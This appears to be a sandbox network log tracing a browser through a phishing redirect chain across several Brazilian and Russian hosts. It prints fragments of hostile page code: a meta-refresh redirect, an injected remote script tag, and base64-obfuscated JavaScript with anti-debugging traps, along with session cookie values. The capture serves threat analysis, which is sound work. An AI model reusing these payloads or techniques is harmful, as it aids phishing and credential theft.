2025-01-13 20:17:05 UTC	513	IN	Data Raw: 31 66 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 73 6f 63 6e 70 6a 2e 63 6f 6d 2e 62 72 2f 74 65 61 6d 2d 64 72 69 76 65 2f 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 2f 70 72 69 76 61 63 79 2f 69 6e 64 65 78 5f 2e 68 74 6d 6c 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 73 6f 63 6e 70 6a 2e 63 6f 6d 2e 62 72 2f 74 65 61 6d 2d 64 72 69 Data Ascii: 1fa<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://socnpj.com.br/team-drive/Organization/privacy/index_.html'" /> <title>Redirecting to https://socnpj.com.br/team-dri
2025-01-13 20:17:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49744	108.179.252.84	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:06 UTC	699	OUT	GET /team-drive/Organization/privacy/index_.html HTTP/1.1 Host: socnpj.com.br Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:06 UTC	256	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:06 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 13 Jan 2025 14:45:23 GMT Accept-Ranges: bytes Content-Length: 14435 Vary: Accept-Encoding Content-Type: text/html
2025-01-13 20:17:06 UTC	7936	IN	Data Raw: 0d 0a 20 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 56 65 72 69 66 69 63 61 74 69 6f 6e 20 44 65 66 65 6e 64 65 72 20 41 73 73 6f 63 69 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Verification Defender Associate</title><link rel="icon" href="data:image/png;base64,iVBOR
2025-01-13 20:17:06 UTC	6499	IN	Data Raw: 4d 68 48 45 39 70 4d 74 65 36 4c 39 71 4e 77 59 35 35 54 31 42 51 6e 78 62 72 6e 6c 55 33 51 57 7a 38 2f 56 43 77 2b 50 44 54 63 48 4c 32 68 52 52 63 74 49 79 67 76 7a 4b 53 67 69 55 43 31 31 67 45 50 2b 77 61 78 4e 4e 61 63 4c 6a 6d 6b 37 65 39 51 39 32 72 4a 70 6c 50 52 2b 4c 46 38 58 4e 62 55 66 56 2f 6f 75 4b 34 72 62 43 31 65 51 38 56 36 6b 34 4f 4d 2b 5a 43 74 7a 70 79 79 48 49 2b 4b 2f 46 64 6d 45 6a 54 45 2f 6b 36 78 73 4f 50 6d 65 2f 6a 76 59 5a 58 35 6b 4f 7a 4f 59 6f 51 35 78 47 32 76 73 73 4f 57 5a 34 39 63 58 2b 6f 68 4b 46 74 33 37 59 53 4b 78 64 71 48 42 57 4b 71 46 46 51 62 31 75 43 45 6d 2f 54 5a 73 2b 79 67 54 2f 6f 47 73 56 69 4c 42 35 49 63 4b 43 4c 4a 39 6a 2b 35 2f 42 4c 74 4a 78 30 65 32 78 4b 41 46 4a 56 38 44 6a 6b 70 44 63 6e 6e Data Ascii: MhHE9pMte6L9qNwY55T1BQnxbrnlU3QWz8/VCw+PDTcHL2hRRctIygvzKSgiUC11gEP+waxNNacLjmk7e9Q92rJplPR+LF8XNbUfV/ouK4rbC1eQ8V6k4OM+ZCtzpyyHI+K/FdmEjTE/k6xsOPme/jvYZX5kOzOYoQ5xG2vssOWZ49cX+ohKFt37YSKxdqHBWKqFFQb1uCEm/TZs+ygT/oGsViLB5IcKCLJ9j+5/BLtJx0e2xKAFJV8DjkpDcnn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	108.179.252.84	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:07 UTC	656	OUT	GET /team-drive/Organization/privacy/supply.jpg HTTP/1.1 Host: socnpj.com.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://socnpj.com.br/team-drive/Organization/privacy/index_.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:08 UTC	374	IN	HTTP/1.1 404 Not Found Date: Mon, 13 Jan 2025 20:17:07 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://socnpj.com.br/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-13 20:17:08 UTC	7818	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0d 0a 09 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 09 3c Data Ascii: 4000<!DOCTYPE html><html lang="pt-BR"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <meta name='robots' content='noindex, follow' /><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	62487	162.241.203.180	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:20 UTC	722	OUT	GET /success/index.html HTTP/1.1 Host: visaoxprodutora.com.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://socnpj.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:20 UTC	256	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:20 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 07 Jan 2025 15:24:28 GMT Accept-Ranges: bytes Content-Length: 15006 Vary: Accept-Encoding Content-Type: text/html
2025-01-13 20:17:20 UTC	7936	IN	Data Raw: 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 62 7a 2e 62 7a 2f 64 6b 67 30 6a 39 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 Data Ascii: <script src="https://obz.bz/dkg0j9" type="text/javascript"></script><!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"><script type="text/java
2025-01-13 20:17:20 UTC	7070	IN	Data Raw: 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 74 68 2b 64 2b 70 68 63 69 38 46 4a 66 31 66 77 61 70 69 34 34 72 46 70 66 71 54 5a 41 6e 57 2b 4a 46 52 47 33 6b 66 39 34 5a 2b 73 53 71 64 52 31 55 49 69 49 2f 64 63 2f 42 36 4e 2f 4d 39 57 73 69 41 44 4f 30 30 41 33 51 55 30 68 6f 68 58 35 52 54 64 65 43 72 73 74 79 54 31 57 70 68 55 52 54 42 65 76 42 61 56 34 69 77 59 4a 47 47 63 74 52 44 43 31 46 73 47 61 51 33 52 74 47 46 66 4c 34 6f 73 33 34 67 36 54 2b 41 6b 41 54 38 34 62 73 30 66 58 32 77 65 53 38 38 58 37 58 36 68 58 52 44 44 52 7a 64 77 48 5a 2f 35 44 32 68 6a 6a 67 68 74 33 4d 62 35 79 31 4e 49 4e 71 2b 62 65 5a 42 75 38 64 38 Data Ascii: D4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	62488	162.241.203.180	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:20 UTC	636	OUT	GET /img-sys/powered_by_cpanel.svg HTTP/1.1 Host: visaoxprodutora.com.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visaoxprodutora.com.br/success/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:20 UTC	236	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:20 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 11 Aug 2022 21:06:13 GMT Accept-Ranges: bytes Content-Length: 5617 Content-Type: image/svg+xml
2025-01-13 20:17:20 UTC	5617	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 35 31 36 22 20 68 65 69 67 68 74 3d 22 33 32 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 31 33 37 20 32 34 30 22 3e 3c 64 65 66 73 3e 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 61 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 39 35 20 30 68 34 31 2e 35 37 38 76 34 32 48 31 30 39 35 7a 6d 30 20 30 22 2f 3e 3c 2f 63 6c 69 70 50 61 74 68 3e 3c 2f 64 65 66 73 3e 3c 70 61 74 68 20 64 3d 22 4d 38 39 2e 36 39 20 35 39 2e 31 30 32 68 36 37 2e 38 30 32 6c 2d 31 30 2e 35 20 34 30 2e 32 63 2d 31 2e 36 30 35 20 35 2e 36 2d 34 2e 36 30 35 20 31 30 2e 31 2d 39 20 31 33 2e 35 2d 34 2e 34 30 32 20 33 2e 34 2d 39 2e 35 30 34 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1516" height="320" viewBox="0 0 1137 240"><defs><clipPath id="a"><path d="M1095 0h41.578v42H1095zm0 0"/></clipPath></defs><path d="M89.69 59.102h67.802l-10.5 40.2c-1.605 5.6-4.605 10.1-9 13.5-4.402 3.4-9.504

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	62492	162.241.203.180	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:21 UTC	375	OUT	GET /img-sys/powered_by_cpanel.svg HTTP/1.1 Host: visaoxprodutora.com.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:21 UTC	236	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 11 Aug 2022 21:06:13 GMT Accept-Ranges: bytes Content-Length: 5617 Content-Type: image/svg+xml
2025-01-13 20:17:21 UTC	5617	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 35 31 36 22 20 68 65 69 67 68 74 3d 22 33 32 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 31 33 37 20 32 34 30 22 3e 3c 64 65 66 73 3e 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 61 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 39 35 20 30 68 34 31 2e 35 37 38 76 34 32 48 31 30 39 35 7a 6d 30 20 30 22 2f 3e 3c 2f 63 6c 69 70 50 61 74 68 3e 3c 2f 64 65 66 73 3e 3c 70 61 74 68 20 64 3d 22 4d 38 39 2e 36 39 20 35 39 2e 31 30 32 68 36 37 2e 38 30 32 6c 2d 31 30 2e 35 20 34 30 2e 32 63 2d 31 2e 36 30 35 20 35 2e 36 2d 34 2e 36 30 35 20 31 30 2e 31 2d 39 20 31 33 2e 35 2d 34 2e 34 30 32 20 33 2e 34 2d 39 2e 35 30 34 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1516" height="320" viewBox="0 0 1137 240"><defs><clipPath id="a"><path d="M1095 0h41.578v42H1095zm0 0"/></clipPath></defs><path d="M89.69 59.102h67.802l-10.5 40.2c-1.605 5.6-4.605 10.1-9 13.5-4.402 3.4-9.504

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	62494	104.21.33.70	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:21 UTC	698	OUT	GET /7axa6RvO/ HTTP/1.1 Host: 8zkl.gratzeware.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://visaoxprodutora.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:22 UTC	1243	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n1fJHjp1FLZZDTJnVeuJ3GoUFivGf1fB%2BWFM8MsKwQ8PsdSZ7k%2FaBP7ztlbJCevunijDoQKMNbevX%2FC2652EhCKK4yOUexNFjLcfsyDMO0qEPrPIprwGlkSjWAD0Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=85015&min_rtt=85013&rtt_var=31884&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1601&delivery_rate=33493&cwnd=32&unsent_bytes=0&cid=487b4483318eaeba&ts=275&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InN3NnJ6SFhQcVZlMVB4RHQ1MHlqY1E9PSIsInZhbHVlIjoiM1hFU1hPb2xXdGE3UVluYnpqeEJnd2pxNklsM1dmalFGcVo3QzRtZTFMUDE3VkcvRWVaTjlnRnFDK3NUZFlYVmd5bUdEQjRKSEZ0N21lRW5kQVg2dW5xVG1ybGFrSG51UkRsdWVwSHZMT1drbDFjY04yVnpKYW5PeUxFZkJ6Y1EiLCJtYWMiOiJmOWMwOGRiMGEyMDBmODE1OTI1YTc3MTRhNGEwYmNkMzJmOTk3NGQzZTExYjYzY2EzNTRlNTcxMjAwYTc2MzUyIiwidGFnIjoiIn0%3D; expires=Mon, 13-Jan-2025 22:17:21 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-01-13 20:17:22 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 4e 34 62 6d 4a 4e 65 6c 5a 6b 52 7a 46 48 55 57 68 32 62 30 31 59 4f 44 64 76 4d 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 31 5a 6f 63 6d 38 79 4d 6b 31 6f 54 57 39 78 59 57 63 78 61 57 39 56 4e 30 6f 79 61 6c 70 6b 4f 58 64 68 54 45 78 74 52 33 70 42 62 6c 4e 32 54 44 56 30 64 33 4e 53 52 44 46 43 63 57 64 75 61 57 4d 78 52 6b 68 54 51 6b 78 51 4c 33 46 6f 57 55 70 53 65 6c 6c 33 63 30 4e 70 4e 6c 6c 4b 56 32 6c 4d 61 58 46 77 51 31 56 5a 5a 6b 74 61 61 45 4e 33 4e 55 68 35 61 54 56 6f 56 30 39 72 57 6a 4e 4a 62 54 4e 72 51 54 52 56 63 6b 4e 4e 51 31 46 4c 4d 6c 42 36 4e 33 6c 4a 56 45 39 79 53 57 35 43 56 48 68 73 4e 6a 41 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InN4bmJNelZkRzFHUWh2b01YODdvMVE9PSIsInZhbHVlIjoib1Zocm8yMk1oTW9xYWcxaW9VN0oyalpkOXdhTExtR3pBblN2TDV0d3NSRDFCcWduaWMxRkhTQkxQL3FoWUpSell3c0NpNllKV2lMaXFwQ1VZZktaaEN3NUh5aTVoV09rWjNJbTNrQTRVckNNQ1FLMlB6N3lJVE9ySW5CVHhsNjA
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 34 65 31 65 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 66 69 6e 64 69 6e 67 20 73 61 74 69 73 66 61 63 74 69 6f 6e 20 69 6e 20 67 69 76 69 6e 67 20 61 20 6c 69 74 74 6c 65 20 6d 6f 72 65 20 74 68 61 6e 20 79 6f 75 20 74 61 6b 65 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 54 68 65 20 73 74 61 72 74 69 6e 67 20 70 6f 69 6e 74 20 6f 66 20 61 6c 6c 20 61 63 68 69 65 76 65 6d 65 6e 74 20 69 73 20 64 65 73 69 72 65 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 74 64 44 51 75 5a 33 4a 68 64 48 70 6c 64 32 46 79 5a 53 35 79 64 53 38 33 59 58 68 68 4e 6c 4a 32 54 79 38 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 Data Ascii: 4e1e... Success is finding satisfaction in giving a little more than you take. -->... The starting point of all achievement is desire. --><script>if(atob("aHR0cHM6Ly9tdDQuZ3JhdHpld2FyZS5ydS83YXhhNlJ2Ty8=") == "nomatch"){document.write(decode
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 44 51 6f 6a 5a 6d 70 50 61 30 35 55 59 58 56 30 61 79 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 32 5a 71 54 32 74 4f 56 47 46 31 64 47 73 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 49 77 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 56 6d 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d Data Ascii: DQojZmpPa05UYXV0ayBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2ZqT2tOVGF1dGsuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTIwcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnM
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 57 39 75 4b 47 56 32 5a 57 35 30 4b 53 42 37 44 51 6f 67 49 43 41 67 61 57 59 67 4b 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 45 79 4d 79 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 5a 6d 46 73 63 32 55 37 44 51 6f 67 49 43 41 67 66 51 30 4b 44 51 6f 67 49 43 41 67 61 57 59 67 4b 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 34 4e 53 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 Data Ascii: W9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0
2025-01-13 20:17:22 UTC	1369	IN	Data Raw: 35 7a 64 43 42 43 53 6b 46 4b 52 32 31 44 55 6e 64 30 49 44 30 67 63 47 56 79 5a 6d 39 79 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 52 6c 59 6e 56 6e 5a 32 56 79 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6a 62 32 35 7a 64 43 42 32 63 6c 4e 4c 65 6b 52 49 62 31 42 77 49 44 30 67 63 47 56 79 5a 6d 39 79 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 49 43 68 32 63 6c 4e 4c 65 6b 52 49 62 31 42 77 49 43 30 67 51 6b 70 42 53 6b 64 74 51 31 4a 33 64 43 41 2b 49 46 68 52 51 58 6c 53 63 55 6c 58 61 47 38 67 4a 69 59 67 49 56 6c 52 59 6d 4e 53 55 55 68 49 63 30 55 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 47 52 56 53 56 42 4f 63 6d 78 6a 51 Data Ascii: 5zdCBCSkFKR21DUnd0ID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGRlYnVnZ2VyOw0KICAgICAgICBjb25zdCB2clNLekRIb1BwID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGlmICh2clNLekRIb1BwIC0gQkpBSkdtQ1J3dCA+IFhRQXlScUlXaG8gJiYgIVlRYmNSUUhIc0UpIHsNCiAgICAgICAgICAgIGRVSVBOcmxjQ
